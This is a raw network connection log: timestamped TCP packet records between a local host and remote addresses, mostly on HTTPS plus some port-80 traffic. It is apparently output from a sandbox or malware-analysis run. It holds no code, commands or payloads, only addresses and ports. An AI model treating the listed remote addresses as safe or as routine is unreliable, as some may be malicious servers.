Nov 24, 2024 04:23:55.102960110 CET	443	50047	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.106434107 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.106452942 CET	443	50037	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:55.282124996 CET	443	50035	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.282390118 CET	443	50034	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.285156965 CET	443	50035	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.285274029 CET	443	50035	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.285465956 CET	443	50034	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.286937952 CET	50035	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.286942005 CET	50034	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.301745892 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.307910919 CET	50035	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.307950974 CET	443	50035	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.307971001 CET	50035	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.307980061 CET	443	50035	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.309045076 CET	50034	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.309063911 CET	443	50034	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.309099913 CET	50034	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.309106112 CET	443	50034	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.314424038 CET	50048	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.314472914 CET	443	50048	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.316891909 CET	50049	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.316979885 CET	443	50049	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.317132950 CET	50048	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.317276955 CET	50049	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.317449093 CET	50048	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.317468882 CET	443	50048	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.317622900 CET	50049	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.317660093 CET	443	50049	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.361352921 CET	443	50038	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:55.361421108 CET	443	50038	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:55.361912966 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.362142086 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.362164974 CET	443	50038	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:55.362179995 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.362219095 CET	50038	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.416274071 CET	443	50037	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:55.416485071 CET	443	50037	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:55.417074919 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.417092085 CET	443	50037	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:55.417855024 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.417886972 CET	50037	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.425679922 CET	443	50039	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.426148891 CET	50039	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.426183939 CET	443	50039	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.426632881 CET	50039	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.426645041 CET	443	50039	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.510160923 CET	443	50036	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.512764931 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.513045073 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:55.513084888 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.513118982 CET	443	50036	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.513303995 CET	50036	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.513345003 CET	50036	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.513360977 CET	443	50036	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.513370991 CET	50036	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.513375044 CET	443	50036	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.514281988 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.514367104 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:55.515438080 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:55.515512943 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.515681982 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:55.517626047 CET	50050	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.517673016 CET	443	50050	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.520941973 CET	50050	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.521130085 CET	50050	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.521145105 CET	443	50050	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.559369087 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.676179886 CET	50051	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.676217079 CET	443	50051	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:55.676278114 CET	50051	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.676459074 CET	50051	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.676471949 CET	443	50051	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:55.706233025 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:55.706265926 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.718776941 CET	50052	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.718836069 CET	443	50052	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:55.719890118 CET	50052	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.720082045 CET	50052	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:55.720109940 CET	443	50052	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:55.721932888 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:55.721954107 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:55.723351955 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:55.723566055 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:55.723593950 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:55.870767117 CET	443	50039	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.873883963 CET	443	50039	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.873944044 CET	50039	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.874008894 CET	50039	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.874030113 CET	443	50039	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.874044895 CET	50039	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.874052048 CET	443	50039	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.876887083 CET	50054	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.876914978 CET	443	50054	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.877111912 CET	50054	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.877232075 CET	50054	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:55.877240896 CET	443	50054	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:55.902080059 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:55.908097982 CET	50033	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:55.908355951 CET	50055	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:55.938147068 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.938318968 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.938411951 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.938505888 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.938674927 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:55.938702106 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.939632893 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:55.939774990 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.940232038 CET	443	50044	142.251.35.164	192.168.2.5
Nov 24, 2024 04:23:55.940365076 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:55.940398932 CET	50044	443	192.168.2.5	142.251.35.164
Nov 24, 2024 04:23:56.027926922 CET	80	50055	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:56.027995110 CET	80	50033	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:56.028016090 CET	50055	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:56.028065920 CET	50033	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:56.028270960 CET	50055	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:56.103599072 CET	49703	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:23:56.147661924 CET	80	50055	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:56.192545891 CET	50056	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:23:56.192586899 CET	443	50056	34.120.208.123	192.168.2.5
Nov 24, 2024 04:23:56.192643881 CET	50056	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:23:56.193959951 CET	50056	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:23:56.193974972 CET	443	50056	34.120.208.123	192.168.2.5
Nov 24, 2024 04:23:56.388362885 CET	50057	443	192.168.2.5	34.107.243.93
Nov 24, 2024 04:23:56.388402939 CET	443	50057	34.107.243.93	192.168.2.5
Nov 24, 2024 04:23:56.392810106 CET	50057	443	192.168.2.5	34.107.243.93
Nov 24, 2024 04:23:56.394188881 CET	50057	443	192.168.2.5	34.107.243.93
Nov 24, 2024 04:23:56.394203901 CET	443	50057	34.107.243.93	192.168.2.5
Nov 24, 2024 04:23:56.641906023 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:56.761426926 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:56.881371975 CET	443	50047	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:56.886545897 CET	50047	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:56.886585951 CET	443	50047	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:56.886981010 CET	50047	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:56.886987925 CET	443	50047	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:56.896502018 CET	443	50051	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.904755116 CET	50051	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.904776096 CET	443	50051	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.905445099 CET	443	50051	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.905577898 CET	50051	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.906455994 CET	443	50051	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.906696081 CET	50051	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.906835079 CET	50051	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.906919003 CET	443	50051	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.958185911 CET	50051	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.958203077 CET	443	50051	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.975028992 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:56.986346006 CET	443	50052	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.988650084 CET	50052	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.988712072 CET	443	50052	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.989224911 CET	443	50052	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.989826918 CET	50052	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.990220070 CET	443	50052	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:56.990540028 CET	50052	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:56.996202946 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:57.000109911 CET	50052	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:57.000206947 CET	443	50052	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:57.003473043 CET	50051	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:57.018826008 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:57.049251080 CET	50052	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:57.049282074 CET	443	50052	142.250.80.110	192.168.2.5
Nov 24, 2024 04:23:57.094455004 CET	50052	443	192.168.2.5	142.250.80.110
Nov 24, 2024 04:23:57.096740007 CET	443	50048	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.097193003 CET	50048	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.097234011 CET	443	50048	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.097670078 CET	50048	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.097687960 CET	443	50048	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.115868092 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:57.204953909 CET	50058	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:57.205003977 CET	443	50058	35.244.181.201	192.168.2.5
Nov 24, 2024 04:23:57.205414057 CET	50058	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:57.205543995 CET	50058	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:57.205559015 CET	443	50058	35.244.181.201	192.168.2.5
Nov 24, 2024 04:23:57.230218887 CET	443	50049	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.231339931 CET	50049	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.231409073 CET	443	50049	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.231756926 CET	50049	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.231770039 CET	443	50049	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.386476994 CET	50059	443	192.168.2.5	34.149.100.209
Nov 24, 2024 04:23:57.386533022 CET	443	50059	34.149.100.209	192.168.2.5
Nov 24, 2024 04:23:57.387579918 CET	50059	443	192.168.2.5	34.149.100.209
Nov 24, 2024 04:23:57.388967991 CET	50059	443	192.168.2.5	34.149.100.209
Nov 24, 2024 04:23:57.388983011 CET	443	50059	34.149.100.209	192.168.2.5
Nov 24, 2024 04:23:57.438971996 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:57.439655066 CET	443	50047	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.439724922 CET	443	50047	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.440382004 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:57.441915989 CET	50047	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.442507982 CET	50047	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.442533016 CET	443	50047	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.442548990 CET	50047	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.442555904 CET	443	50047	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.443999052 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:57.444019079 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:57.445075989 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:57.450598955 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:57.451896906 CET	50060	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.451934099 CET	443	50060	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.453675985 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:57.453769922 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:57.453864098 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:57.453944921 CET	50060	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.455789089 CET	50060	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.455805063 CET	443	50060	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.484419107 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:57.495332956 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:57.499404907 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:57.499413967 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:57.506531954 CET	80	50055	185.215.113.43	192.168.2.5
Nov 24, 2024 04:23:57.506608963 CET	50055	80	192.168.2.5	185.215.113.43
Nov 24, 2024 04:23:57.523472071 CET	443	50050	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.523941994 CET	50050	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.523963928 CET	443	50050	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.524358034 CET	50050	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.524362087 CET	443	50050	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.544398069 CET	443	50048	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.547406912 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:57.547415018 CET	443	50048	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.547471046 CET	443	50048	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.548033953 CET	50048	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.548938036 CET	50048	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.548959017 CET	443	50048	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.548976898 CET	50048	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.548983097 CET	443	50048	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.551778078 CET	50062	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.551819086 CET	443	50062	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.552843094 CET	50062	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.552983046 CET	50062	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.552992105 CET	443	50062	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.610968113 CET	443	50056	34.120.208.123	192.168.2.5
Nov 24, 2024 04:23:57.611270905 CET	50056	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:23:57.617578983 CET	50056	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:23:57.617599010 CET	443	50056	34.120.208.123	192.168.2.5
Nov 24, 2024 04:23:57.617659092 CET	50056	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:23:57.617801905 CET	443	50056	34.120.208.123	192.168.2.5
Nov 24, 2024 04:23:57.618482113 CET	50056	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:23:57.652781963 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:57.683643103 CET	443	50054	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.684108019 CET	50054	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.684139013 CET	443	50054	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.684581995 CET	50054	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.684587955 CET	443	50054	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.702193975 CET	443	50049	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.705260992 CET	443	50049	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.713674068 CET	50049	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.714799881 CET	50049	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.714812994 CET	443	50049	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.714823961 CET	50049	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.714828968 CET	443	50049	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.717355967 CET	50064	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.717376947 CET	443	50064	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.724040985 CET	50064	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.724351883 CET	50064	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.724363089 CET	443	50064	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.772207022 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:57.798418999 CET	50066	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:23:57.798469067 CET	443	50066	34.120.208.123	192.168.2.5
Nov 24, 2024 04:23:57.798970938 CET	443	50057	34.107.243.93	192.168.2.5
Nov 24, 2024 04:23:57.799079895 CET	50066	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:23:57.799094915 CET	50057	443	192.168.2.5	34.107.243.93
Nov 24, 2024 04:23:57.814038992 CET	50066	443	192.168.2.5	34.120.208.123
Nov 24, 2024 04:23:57.814073086 CET	443	50066	34.120.208.123	192.168.2.5
Nov 24, 2024 04:23:57.816457987 CET	50057	443	192.168.2.5	34.107.243.93
Nov 24, 2024 04:23:57.816478968 CET	443	50057	34.107.243.93	192.168.2.5
Nov 24, 2024 04:23:57.816530943 CET	50057	443	192.168.2.5	34.107.243.93
Nov 24, 2024 04:23:57.816694021 CET	443	50057	34.107.243.93	192.168.2.5
Nov 24, 2024 04:23:57.819500923 CET	50057	443	192.168.2.5	34.107.243.93
Nov 24, 2024 04:23:57.975522995 CET	443	50050	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.979034901 CET	443	50050	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.979105949 CET	443	50050	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.979291916 CET	50050	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.979506016 CET	50050	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.979506016 CET	50050	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.979518890 CET	50050	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.979532003 CET	443	50050	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.982207060 CET	50068	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.982243061 CET	443	50068	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.985127926 CET	50068	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.985343933 CET	50068	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:57.985358000 CET	443	50068	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:57.985636950 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:58.031105995 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:58.068886995 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:58.126997948 CET	443	50054	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:58.127069950 CET	443	50054	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:58.127165079 CET	50054	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:58.127655029 CET	50054	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:58.127676010 CET	443	50054	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:58.127685070 CET	50054	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:58.127691031 CET	443	50054	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:58.130400896 CET	50069	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:58.130445004 CET	443	50069	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:58.132381916 CET	50069	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:58.132632971 CET	50069	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:23:58.132646084 CET	443	50069	13.107.246.63	192.168.2.5
Nov 24, 2024 04:23:58.188406944 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:58.383687973 CET	80	50013	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:58.426448107 CET	50013	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:58.469729900 CET	443	50058	35.244.181.201	192.168.2.5
Nov 24, 2024 04:23:58.469809055 CET	50058	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:58.503010988 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.503035069 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.503041983 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.503077030 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.503098011 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.503107071 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.503108025 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.503180981 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.503228903 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.503228903 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.503262043 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.630737066 CET	50058	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:58.630786896 CET	443	50058	35.244.181.201	192.168.2.5
Nov 24, 2024 04:23:58.631156921 CET	443	50058	35.244.181.201	192.168.2.5
Nov 24, 2024 04:23:58.632647991 CET	50058	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:58.632730007 CET	50058	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:58.632900000 CET	50058	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:58.632905006 CET	443	50058	35.244.181.201	192.168.2.5
Nov 24, 2024 04:23:58.632999897 CET	50058	443	192.168.2.5	35.244.181.201
Nov 24, 2024 04:23:58.645068884 CET	50005	80	192.168.2.5	34.107.221.82
Nov 24, 2024 04:23:58.663923025 CET	443	50059	34.149.100.209	192.168.2.5
Nov 24, 2024 04:23:58.664077997 CET	50059	443	192.168.2.5	34.149.100.209
Nov 24, 2024 04:23:58.686395884 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.686404943 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.686439037 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.686567068 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.686580896 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.687041998 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.690922022 CET	50059	443	192.168.2.5	34.149.100.209
Nov 24, 2024 04:23:58.690947056 CET	443	50059	34.149.100.209	192.168.2.5
Nov 24, 2024 04:23:58.690957069 CET	50059	443	192.168.2.5	34.149.100.209
Nov 24, 2024 04:23:58.691926956 CET	443	50059	34.149.100.209	192.168.2.5
Nov 24, 2024 04:23:58.693800926 CET	50059	443	192.168.2.5	34.149.100.209
Nov 24, 2024 04:23:58.737387896 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.737412930 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.741822004 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.741832018 CET	443	50053	13.107.246.40	192.168.2.5
Nov 24, 2024 04:23:58.742335081 CET	50053	443	192.168.2.5	13.107.246.40
Nov 24, 2024 04:23:58.764472008 CET	80	50005	34.107.221.82	192.168.2.5
Nov 24, 2024 04:23:58.865719080 CET	443	50053	13.107.246.40	192.168.2.5
